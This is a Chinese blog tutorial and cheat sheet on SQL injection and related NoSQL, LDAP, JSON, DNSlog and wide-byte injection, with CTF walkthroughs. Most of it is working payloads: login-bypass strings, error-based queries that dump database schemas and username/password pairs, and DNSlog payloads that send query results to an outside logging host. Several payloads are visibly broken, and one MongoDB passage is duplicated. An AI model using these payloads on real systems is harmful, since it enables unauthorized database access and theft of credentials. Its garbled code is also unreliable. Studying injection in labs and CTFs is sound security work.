SQL注入详解
Posted 天猫来下凡
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入详解相关的知识,希望对你有一定的参考价值。
SQL注入详解
1.SQL注入简介
SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一
2. sql 注入产生原因及威胁
当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。
Sql 注入带来的威胁主要有如下几点
- 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
- 绕过认证,列如绕过验证登录网站后台。
- 注入可以借助数据库的存储过程进行提权等操作
3. SQL注入漏洞对于数据安全的影响
- 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
- 网页篡改:通过操作数据库对特定网页进行篡改。
- 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
- 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
- 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
- 破坏硬盘数据,瘫痪全系统。
4.SQL注入分类及判断
基础sql语句
select database(); #查看当前库名;
select table_name from information_schema.tables where table_schema=database()
; #查看当前库下的表名
select column_name from information_schema.columns where table_schema=database()
and table_name='user'; #查询列名
select name,password from user; #获取用户名和密码列
1.按数据类型分类
①数字型注入点
在 Web 端大概是 http://xxx.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为
select * from 表名 where id=1。组合出来的sql注入语句为:select * from news where id=1 and 1=1
②字符型注入点
在 Web 端大概是 http://xxx.com/news.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为
select * from 表名 where name='admin'注意多了引号。组合出来的sql注入语句为:select * from news where chr='admin' and 1=1 ' '
③搜索型注入点
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:
select * from 表名 where 字段 like '%关键字%'`。
组合出来的sql注入语句为:
select * from news where search like '%测试 %' and '%1%'='%1%'
测试%' union select 1,2,3,4 and '%'='
2.按照数据提交的方式来分类
①GET 注入
提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1
, id 是注入点。
②POST 注入
使用 POST 方式提交数据,注入点位置在 POST 数据部分,post提交方式主要适用于表单的提交,用于登录框的注入。
常用的万能username语句:
a ’ or 1=1 #
a ") or 1=1 #
a‘) or 1=1 #
a” or “1”=”1
' or '1'='1
' or (length(database())) = 8 (用于输入’ “都没有错误)
' or (ascii(substr((select database()) ,1,1))) = 115 # (用于输入’ “都没有错误)
") or ("1")=("1
") or 1=1 or if(1=1, sleep(1), null) #
") or (length(database())) = 8 #
") or (ascii(substr((select database()) ,1,1))) = 115 or if(1=1, sleep(1), null) #
post型盲注通杀payload:
uname=admin%df'or()or%200%23&passwd=&submit=Submit
③Cookie 注入
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。有报错信息可以利用报错注入
④HTTP 头部注入
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。
User-Agent:.........' or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
Referer: ’ or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
Cookie:username: admin ’ or updatexml(1,concat(0x7e,database(),0x7e),1) #
User-Agent注入
User-Agent:1' and updatexml(1,concat(0xx5e,version(),0x5e),1) and '1'='1
Referer 注入
1' and updatexml(1,concat(0x5e,version(),0x5e),1) and '1'='1
X-Forwarded-For注入
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
如果系统采用了服务器后端获取 X-Forwarded-For数据,如:利用
String ip = request.getHeader("X-Forwarded-For")
进行获取ip,攻击者可以通过X-Forwarded-For请求头信息就行伪造ip,当然了这个ip
也可以是一些注入语句,如下:
X-Forwarded-For:1 and if(now()=sysdate(),sleep(6),0)--
String sql = "select * from table where ip = '"+ip+"'";
构造X-Forwoarded-For头进行测试,http响应出现变化
X-Forwarded-For: -1' OR 3*2*1=6 AND 000958=000958--
X-Forwarded-For: -1' OR 3*2*1=6 AND 000958=000957--
⑤Request方式注入
概念:超全局变量 PHP中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可以用,这些超全局变量是:
$_REQUEST(获取GET/POST/COOKIE)COOKIE在新版本已经无法获取了
$_POST(获取POST传参)
$_GET(获取GET传参)
$_COOKIE(获取COOKIE传参)
$_SERVER(包含了诸如头部信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)
3.按照执行效果来分类
①基于布尔的盲注,
即可以根据返回页面判断条件真假的注入。盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注
Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
布尔型:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据
?id=1' and length(database())>5--+
将>号掉个方向看结果有没有变化,来判断布尔盲注有没有用,后面就继续猜表名,列名,然后内容。
http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+
and select length(database())>n //判断数据库名长度
and ascii(substr(database(),m,1))>n //截取数据库名第m个字符并转换成ascii码 判断具体值
当前数据库database()的长度大于10,返回true页面,否则FALSE页面
报错型:构造payload让信息通过错误提示回显出来,一种类型(其它的暂时不怎么了解)是先报字段数,再利用后台数据库报错机制回显(跟一般的报错区别是,一般的报错注入是爆出字段数后,在此基础通过正确的查询语句,使结果回显到页面;后者是在爆出字段数的基础上使用能触发SQL报错机制的注入语句)
②基于时间的盲注,
即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
在SQL注入过程中,无论注入是否成功,页面完全没有变化。此时只能通过使用数据库的延时函数来判断注入点一般采用响应时间上的差异来判断是否存在SQL注入,即基于时间型的SQL盲注
select id,name from product where id=1 and sleep(2)
③基于报错注入,
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
根据报错信息'1'' LIMIT 0,1`分析SQL查询语句为select … from …where id='input'
concat+rand()+group_by()导致主键重复
这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。
rand():
生成0~1之间的随机数,可以给定一个随机数的种子,对于每一个给定的种子,rand()函数都会产生一系列可以复现的数字
floor():
对任意正或者负的十进制值向下取整
通常利用这两个函数的方法是floor(rand(0))*2 ,其会生成0和1两个数
常见的12种报错注入+万能语句为:
通过floor报错,注入语句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x7e,(select user()),0x7e),1))
通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
为了使结构能够更方便的查看,可以在concat()中添加一些内容
?id=2' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
之后还是将select语句改为一般的注入语句就可以
爆数据库名:?id=2' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
爆表名:?id=2' and (select 1 from (select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
爆列名:?id=2' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
爆数据:?id=2' and (select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' and (select 1 from (select count(*),concat((Select concat_ws(0x3a,username,password) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
不能使用group_concat函数时,使limit语句来限制查询结果的列数
updatexml报错注入
爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
④联合查询注入,
可以使用union的情况下的注入。
⑤二次注入
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
注入步骤:
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
⑥堆查询注入,
可以同时执行多条语句的执行时的注入。
在SQL中,分号(;)是用来表示一条sql语句的结束,堆叠注入可以执行任何人sql语句。但是当API或数据库引擎的不支持,堆叠注入就不能进行啦
4.其他类型注入
①Access偏移注入
偏移注入是access比较独有的一种注入手段,很有特点的注入方式,一般用于在猜出了表名但是没有猜出列名的情况下使用。
**原理:**借用数据库的自连接查询(inner join)让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示。
**用处:**access偏移注入是解决一些注入不出来列表的时候,同时要求支持union select,列名足够多,需要知道表名。
利用条件:
1、知道表名
2、任意字段(一般access会有一个id字段。)
偏移注入的流程:
1、 判断字段数
2、 判断表名
3、 开始偏移注入
1、判断注入点
127.0.0.1/asp/index.asp?id=1513 and 1=1 正常
127.0.0.1/asp/index.asp?id=1513 and 1=2 错误
2、查询字段个数
127.0.0.1/asp/index.asp?id=1513 order by 22 正常
127.0.0.1/asp/index.asp?id=1513 order by 23 错误
3、爆出显位
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
4、判断表内存在的字段个数
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin 错误
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin 错误
直到…
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 正确
说明了admin表下有6个字段;
用""代表 admin 表的字段数,计算代替字符的位数。
5、爆列名数据
一级偏移语句:
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
如果你发现,上面查看了网页源码也爆不出数据,请用以下方法:
二级偏移语句:
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join a
偏移注入的基本公式为:
order by 出的字段数减去号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案
②MongoDB 注入
简介:MongoDB是一个基于分布式文件存储的数据库,是一个介于关系数据库和非关系数据库之间的产品,它的特点是高性能、易部署、易使用,存储数据非常方便,默认情况下是没有认证的这就导致不熟悉它的研发人员部署后没有做访问控制导致可以未授权登录。
MongoDB 与几乎支持相同语法的SQL数据库相反,NoSQL数据库具有不同的语法。
实现MongoDB 注入:
在登录时,如果是mysql这种关系型的数据库,我们可以构造真值等式来绕过。如 or 1=1。 在nosql中同样可以,nosql中的 || 1==1 相当于在sql中的 or 1=1 。 那么我们可以这样绕过:
username=fujieace' || 1==1 //
在攻击前,我们需要先建立一个集合,作为攻击的基础。
用户test是攻击者已经知道账号密码的一个测试账号,其他账号的话密码随机。想通过注入获取其他账号的密码。
1.数组绑定时的注入
一个数组绑定的查询demo如下:
#!php
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->test; //选择集合
$username = $_GET['username'];
$password = $_GET['password'];
$data = array(
'username'=>$username,
'password'=>$password
);
$data = $coll->find($data);
$count = $data->count();
if ($count>0)
foreach ($data as $user)
echo 'username:'.$user['username']."</br>";
echo 'password:'.$user['password']."</br>";
else
echo '未找到';
?>
此时的攻击利用了php可以传递数组参数的一个特性。
当传入的url为:
http://127.0.0.1/2.php?username=test&password=test
执行了语句:
db.test.find(username:‘test’,password:‘test’);
如果此时传入的url如下:
http://127.0.0.1/2.php?username[xx]=test&password=test
则$username就是一个数组,也就相当于执行了php语句:
#!php
$data = array(
'username'=>array('xx'=>'test'),
'password'=>'test');
此时的攻击利用了php可以传递数组参数的一个特性。
当传入的url为:
http://127.0.0.1/2.php?username=test&password=test
执行了语句:
db.test.find(username:'test',password:'test');
如果此时传入的url如下:
http://127.0.0.1/2.php?username[xx]=test&password=test
则$username就是一个数组,也就相当于执行了php语句:
#!php
$data = array(
'username'=>array('xx'=>'test'),
'password'=>'test');
而mongodb对于多维数组的解析使最终执行了如下语句:
db.test.find(username:'xx':'test',password:'test');
利用此特性,我们可以传入数据,是数组的键名为一个操作符(大于,小于,等于,不等于等等),完成一些攻击者预期的查询。
如,传入url:
http://127.0.0.1/2.php?username[$ne]=test&password[$ne]=test
因为传入的键名$ne正是一个mongodb操作符,最终执行了语句:
db.test.find(username:'$ne':'test',password:'$ne':'test');
这句话相当于sql:
select * from test where username!='test' and password!='test';
如果此时的用户名与密码不能回显,只是返回一个逻辑上的正误判断。
那么我们可以采用$regex操作符来一位一位获取数据。
2.拼接字符串时的注入
攻击方式:
http://127.0.0.1/1.php?username=test'&password=test
报错。 想办法闭合语句。
http://127.0.0.1/1.php?username=test');return username:1,password:2//&password=test
该语句能返回一个数组,username键值是1,password键值是2.
爆mongodb版本
http://127.0.0.1/1.php?username=test');return username:tojson(db.getCollectionNames()),password:2;//&password=test
爆所有集合名
因为db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写。
爆test集合的第一条数据
http://127.0.0.1/1.php?username=test');return username:tojson(db.test.find()[0]),password:2;//&password=test
爆test集合的第二条数据
因为execute方法支持多语句执行,所以可以执行太多语句了,不演示~
当然,有时可能遇到没有输出返回数据,这时候怎么办呢?
在高版本下,添加了一个函数sleep(),就是时间盲注咯~
在高版本下,貌似不能用注释语句,此外高版本还有一个新特性就是默认开启错误回显。笔者尝试没有注释成功,只能用闭合的方法。
http://127.0.0.1/1.php?username=test');if (db.version() > "0") sleep(10000); exit; var b=(a:'1&password=test
③LDAP注入
1.LDAP介绍
LDAP不定义客户端和服务端的工作方式,但会定义客户端和服务端的通信方式,另外,LDAP还会定义LDAP数据库的访问权限及服务端数据的格式和属性。LDAP有三种基本的通信机制:没有处理的匿名访问;基本的用户名、密码形式的认证;使用SASL、SSL的安全认证方式。LDAP和其他一些协议走的是同一个套路,基于tcp/ip协议通信,注重服务的可用性、信息的保密性等等,除此之外还要回到那个最原始的问题:信任,当然信息安全的本质问题就是信任的问题。部署了LDAP的应用不会直接访问,目录中的内容,一般通过函数调用或者API,应用可以通过定义的C、Java的API进行访问,Java应用的访问方式为JNDI(Java Naming and Directory Interface)。
LDAP的URL形式为:
ldap://<host>:<port>/<path>,<path>:<dn>[?<artribute>[?<scope>?<filter>]]
例如: ldap://austin.ibm.com/ou=Austin,o=IBM ldap:///ou=Austin,o=IBM??sub?(cn=Joe Q. Public)
看得出来在URL中这里使用逗号分隔查询,而数据库查询则使用’&'号,这是LDAP特有的,另外这里o表示组织(organization),u表示单元(unit),cn表示country name,
LDAP注入攻击和SQL注入攻击相似,因此接下来的想法是利用用户引入的参数生成LDAP查询。一个安全的Web应用在构造和将查询发送给服务器前应该净化用户传入的参数。在有漏洞的环境中,这些参数没有得到合适的过滤,因而攻击者可以注入任意恶意代码。
测试一个应用是否存在代码注入漏洞典型的方法是向服务器发送会生成一个无效输入的请求。因此,如果服务器返回一个错误消息,攻击者就能知道服务器执行了他的查询,他可以利用代码注入技术。回想一下之前讨论的,我们可以将注入环境分为两种:AND注入环境和OR注入环境。
2.LDAP注入攻击
- AND LDAP注入
这种情况,应用会构造由”&”操作符和用户引入的的参数组成的正常查询在LDAP目录中搜索,例如:
(&(parameter1=value1)(parameter2=value2))
这里Value1和value2是在LDAP目录中搜索的值,攻击者可以注入代码,维持正确的过滤器结构但能使用查询实现他自己的目标。
绕过访问控制
一个登陆页有两个文本框用于输入用户名和密码,过滤器如下:
(&(USER=Uname)(PASSWORD=Pwd))
如果攻击者输入一个有效地用户名,如r00tgrok,然后再这个名字后面注入恰当的语句,password检查就会被绕过。输入Uname=slisberger)(&)),得到如下
(&(USER= slisberger)(&)(PASSWORD=Pwd))
LDAP服务器只处理第一个过滤器,即仅查询(&(USER=slidberger)(&))得到了处理。这个查询永真,故成功绕过
权限提升
现假设下面的查询会向用户列举出所有可见的低安全等级文档:
(&(directory=document)(security_level=low))
这里第一个参数document是用户入口,low是第二个参数的值。如果攻击者想列举出所有可见的高安全等级的文档,他可以利用如下的注入:document)(security_level=*))(&(directory=documents
得到
(&(directory=documents)(security_level=*))(&(direcroty=documents)(security_level=low))
LDAP服务器仅会处理第一个过滤器而忽略第二个,因而只有下面的查询会被处理:
(&(directory=documents)(security_level=*))
结果就是,所有安全等级的可用文档都会列举给攻击者
- OR注入
这种情况,应用会构造由”|”操作符和用户引入的的参数组成的正常查询在LDAP目录中搜索,例如:
(|(parameter1=value1)(parameter2=value2))
这里Value1和value2是在LDAP目录中搜索的值,攻击者可以注入代码,维持正确的过滤器结构但能使用查询实现他自己的目标。
具体的注入方式和AND差不太多
3.LDAP盲注
AND盲注
假设一个Web应用想从一个LDAP目录列出所有可用的Epson打印机,错误信息不会返回,应用发送如下的过滤器:
(&(objectClass=printer)(type=Epson*))
正确的过滤器为:
(&(objectClass=printer)(type=Epson*))
而当注入***)(objectClass=*))(&(objectClass=void**时得到
(&(objectClass=*)(objectClass=*))(&(objectClass=void)(type=Epson*))
执行第一个,过滤器objectClass=*总是返回一个对象。当图标被显示时响应为真,否则为假。
这样我们就可以猜第二个括号的objectclass字段有些什么内容了。
LDAP盲注技术让攻击者使用基于TRUE/FALSE的技术访问所有的信息。
OR盲注
这种情况下,用于推测想要的信息的逻辑与AND是相反的,因为使用的是OR逻辑操作符。同样不予详述。
盲注深入
攻击者可以使用字母、数字搜索提取属性的值,这个想法的关键在于将一个复杂的值转化为TRUE/FALSE列表。这个机制,通常称为booleanization,大意是二值化吧,图十二概括了该机制,可用于不同的方式。
假设攻击者想知道department属性的值,处理如下:
(&(idprinter=HPLaserJet2100)(department=a*))(object=printer))
(&(idprinter=HPLaserJet2100)(department=f*))(object=printer))
(&(idprinter=HPLaserJet2100)(department=fa*))(object=printer))
如此根据返回的不同结果猜解是否正确,和MYSQL盲注类似。
同样,攻击者可以使用字符集削减技术减少获得信息所需的请求数,为完成这一点,他使用通配符测试给定的字符在值中是否为anywhere:
(&(idprinter=HPLaserJet2100)(department=*b*))(object=printer))
(&(idprinter=HPLaserJet2100)(department=*n*))(object=printer))
这样子可以看department中是否有b和n,巧用可以加速猜解过程,当然一般肯定都是写脚本猜解
4.防御LDAP注入
总而言之,我们看到圆括号、星号、逻辑操作符、关系运操作符在应用层都必须过滤。无论什么时候,只要可能,构造LDAP搜索过滤器的值在发送给LDAP服务器查询之前都要用应用层有效地值列表来核对。正则表达式替换掉就可以了。
④JSON注入
1.简介
JSON是一种轻量级的数据交换格式,易于阅读和编写,同时也易于机器解析和生成。它是基于javascript的一个子集,JSON采用完全独立于语言的文本格式,但是也使用类似于C语言家族的习惯(C、C#、C++、Java、JavaScript、Perl、Python等都可以使用JSON),这些特性使JSON成为理想的数据交换语言。
JSON可以将JavaScript中的对象转换为字符串,然后在函数、网络之间传递这个字符串。
2、JSON结构
JSON建构于两种结构:
①“名称/值”对的集合。不同的语言中,它被理解为对象(object),纪录(record),结构(struct),字典(dictionary),哈希表(hash table),有键列表(keyed list),或者关联数组 (associative array)。
②值的有序列表。在大部分语言中,它被理解为数组(array)。
例如:下面一段示例使JSON最简单的Key-Value示例(名称-值对,键值对):
"Username":"xsser"
"Username":"xsser","Password":"12345","Email":"1234@st.com"
当需要表示一组值的时候,JSON不但能够提供高可读性,而且可以减少复杂性。
例如表示一个管理员表,在JSON中,如下:
"Users":[
"Username":"zhangsan","Password":"12345","Email":"12345@st.com"
"Username":"lisi","Password":"123123","Email":"123123@st.com"
"Username":"wangwu","Password":"321321","Email":"321321@st.com"
]
3.JSON注入
JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造 JSON,则可以更改 JSON 数据的语义。在相对理想的情况下,攻击者可能会插入无关的元素,导致应用程序在解析 JSON数据时抛出异常。
在JSON中是根据引号(")、冒号(:)、逗号(,)、花括号()来区分各字符的意义的。如果向JSON中注入恶意字符,那么JSON将解析失败。
例如:输入的Password值为:admin"1,那么在JSON语句中为:“password”:“admin"1”,为了"password":“admin"1"成功解析,我们可以把"admin"1"转换为"admin"1”。
JSON注入和XML注入、SQL注入一样,都需要对影响语句的内容进行转义,如双引号、花括号等。
4.如何避免 JSON 注入
1、检查程序逻辑,根据实际需求对数据进行合理过滤和安全校验,以避免产生JSON注入。
2、后台代码对Json数据进行编码
JsonStringEncoder
3、使用安全json parser防止json注入
⑤DNSlog注入
1.什么是dnslog注入?
dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据
2.为什么要进行dnslog注入?
一般情况下,在我们无法通过联合查询直接获取数据的情况下,我们只能通过盲注,来一步步的获取数据,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度,也许你也可以使用代理池。。。
3.扩展
首先说明,dns带外查询属于MySQL注入,在MySQL中有个系统属性
secure_file_priv特性,有三种状态
secure_file_priv为null 表示不允许导入导出
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制
可了解一下load_file和outfile
LOAD_FILE()函数
LOAD_FILE()函数读取一个文件并将其内容作为字符串返回
语法为:load_file(file_name),其中file_name是文件的完整路径
此函数使用需要满足的条件
- 文件必须位于服务器主机上
- 你必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关
- 文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节
UNC路径
什么是UNC路径?
UNC路径就是类似\\softer这样的形式的网络路径。它符合 \\servername\\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\\servername\\sharename\\directory\\filename。
例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径
//iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt
这也就解释了为什么CONCAT()函数拼接了4个\\了,双斜杠表示网络资源路径多加两个\\就是转义了反斜杠。
通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like ‘%secure%’;查看load_file()可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。
DNSLOG平台
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
4.注入实现
1.sql注入
直接在mysql命令行执行:
select load_file('\\\\\\\\requests.xxxx.ceye.io\\\\aa');
这是最基本的用法,来看看利用盲注来回显。
或者构造
payload:' and if((select load_file(concat('\\\\\\\\',(select database()),'.xxxx.ceye.io\\\\abc'))),1,0)--+
利用concat()函数将查询的数据库名和域名拼接,执行后查看DNSlog
2.配合xss
XSS 盲打在安全测试的时候是比较常用的
payload: "<script src=http://XSS.XXXXX.ceye.io></script>"
3.配合SSRF
payload: "... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\\\aa"> ..."
4.配合xxe
当我们遇到XXE,如果这个XXE漏洞可以解析外部实体,那么不用说,就可以拿来读取本地服务器文件,这时,我们只需把dtd文件改成这样
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://XXXX.ceye.io/%file;'>"
>
%all;
5.配合命令执行
payload: " ping %PATH%.pxxx.ceye.io ..."
⑥宽字节注入
1.简介
单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码。
多字节字符集: 在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。
两位的多字节字符有一个前导字节和尾字节。 在某个多字节字符集内,前导字节位于某个特定范围内,尾字节也一样。
UTF-8 编码: 是一种编码的编码方式(多字节编码),它可以使用1~4个字节表示一个符号,根据不同的符号而变化字节长度。
常见的宽字节: GB2312、GBK、GB18030、BIG5、Shift_JIS GB2312 不存在宽字节注入,可以收集存在宽字节注入的编码。
2.注入前提条件
要有宽字节注入漏洞
1、首先要满足目标程序使用双/多字节字符集进行解析
2、其次不同字符集范围不一样,可能低位不包含单字节字符集的字符,这样就没办法了,所以要保证在该种字符集范围中包含低字节位,比如 0x5C(01011100) 的字符,即转义符\\。
宽字节带来的安全问题主要是吃ascll字符(一个字节)的现象
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
当提交
id=1' and 1=1%23
时,MySQL的运行的SQL语句为
select * from user where id ='1\\' and 1=1#'
很明显这是没有注入成功的,而当我们提交
id=1%df' and 1=1%23
MySQL的运行的SQL语句为
select * from user where id ='1運' and 1=1#'
我们这里的宽字节注入是利用的MySQL的一个特性,MySQL的在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。这就是MySQL的的特性,因为GBK是多字节编码,他认为两个字节代表一个汉字,所以%DF和后面的\\也就是%5c中变成了一个汉字“运”,而“逃逸了出来。
%df' or 1=1# 直接遍历
5.注入思想
1、找到注入点:判断是否有漏洞,寻找插入位置
2、构造注入语句,并在注入点注入形成新的SQL语句
3、新形成的SQL语句提交数据库处理
4、数据库执行新的SQL语句,引发注入攻击
6.实例
1.BUUCTF : [SUCTF 2019]EasySQL 1
1:select 1 from table 增加临时列,每行的列值是写在select后的数,这条sql语句中是1
2:select count(1) from table 管count(a)的a值如何变化,得出的值总是table表的行数
3:select sum(1) from table 计算临时列的和
直接构造payload *,1
传入参数得到flag,即组成的查询语句为 select *,1||flag from Flag
实例:[极客大挑战 2019]LoveSQL babysql(有过滤)
如图,SQL注入
步骤一:
(sql语句写在用户名框中如下)(如果写在URL中注意编码)
试一下万能密码注入:1' or 1=1# 很明显注入成功
步骤二:
查询字段数
admin' order by 3#(测试时,2,3,4,一个个试直到报错)
(注意:如果写在URL中注意编码问题) (如: # 对应 %23)
这是admin' order by 4#
由此可知共3个字段;
步骤三:
用union查询测试注入点(回显点位)
1' union select 1,2,3 #
可知注入点为2,3
步骤四:
爆数据库,爆表
1' union select 1,database(),version()# (爆数据库和数据库版本)
